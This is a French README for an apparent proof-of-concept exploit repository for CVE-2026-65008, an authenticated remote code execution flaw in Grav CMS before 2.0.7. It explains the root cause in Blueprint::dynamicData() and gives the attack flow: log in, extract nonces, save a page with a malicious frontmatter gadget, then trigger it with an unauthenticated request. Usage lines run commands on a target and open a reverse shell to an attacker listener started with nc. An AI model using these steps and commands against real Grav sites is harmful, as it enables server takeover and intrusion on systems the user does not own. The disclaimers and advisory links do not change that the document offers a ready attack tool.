CVE-2026-65008 — Exécution de code à distance authentifiée sur Grav CMS < 2.0.7

Preuve de concept pour CVE-2026-65008 : exécution de code à distance authentifiée dans Grav CMS via un call_user_func_array() non restreint dans Blueprint::dynamicData().

Un utilisateur disposant de admin.pages (ou api.pages.write) peut insérer un frontmatter de formulaire malveillant. La charge utile s'exécute ensuite en tant qu'utilisateur du serveur web lorsque n'importe quel visiteur (y compris non authentifié) charge la page.

Tests autorisés uniquement. À utiliser uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite de tester.

Crédits

CVE: https://www.cve.org/CVERecord?id=CVE-2026-65008

Cause racine

Blueprint::dynamicData() transmet un callable Class::method contrôlé par l'attaquant ainsi que des arguments à PHP call_user_func_array() sans liste blanche. Combiné à Grav\Common\Utils::arrayFilterRecursive en tant que trampoline, cela atteint system() / passthru / etc.

Corrigé dans Grav 2.0.7+.

CVSS

9.8 CRITIQUE — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Prérequis

• Python 3.10+
• requests

Installation :

pip install -r requirements.txt

Utilisation

Exécution de commande

python3 exploit.py -u http://TARGET -U admin -P 'password' -c "id"

Shell inversé

Démarrez d'abord le listener :

nc -lvnp 4444

Ensuite :

python3 exploit.py -u http://TARGET -U admin -P 'password' --lhost YOUR_IP --lport 4444

Options

Déroulement

1. Se connecter à /admin (extraire login-nonce)
2. Obtenir admin_nonce depuis le panneau d'administration
3. Enregistrer une page dont le frontmatter contient le gadget data-opts@:
4. Déclencher avec un GET non authentifié → RCE en tant que www-data

Avertissement

Ce projet est réservé à la recherche en sécurité éducative et autorisée. L'auteur n'est pas responsable d'une mauvaise utilisation. Obtenez toujours une autorisation écrite avant de tester des systèmes tiers. La vulnérabilité d'origine a été divulguée par l'avis de l'éditeur ; ce dépôt ne fait que démontrer une reproduction en laboratoire.

Références

• https://github.com/getgrav/grav/security/advisories/GHSA-fj2p-qj2f-74v5
• https://nvd.nist.gov/vuln/detail/CVE-2026-65008
• https://www.cve.org/CVERecord?id=CVE-2026-65008

Licence

Pour usage en recherche. Aucune garantie.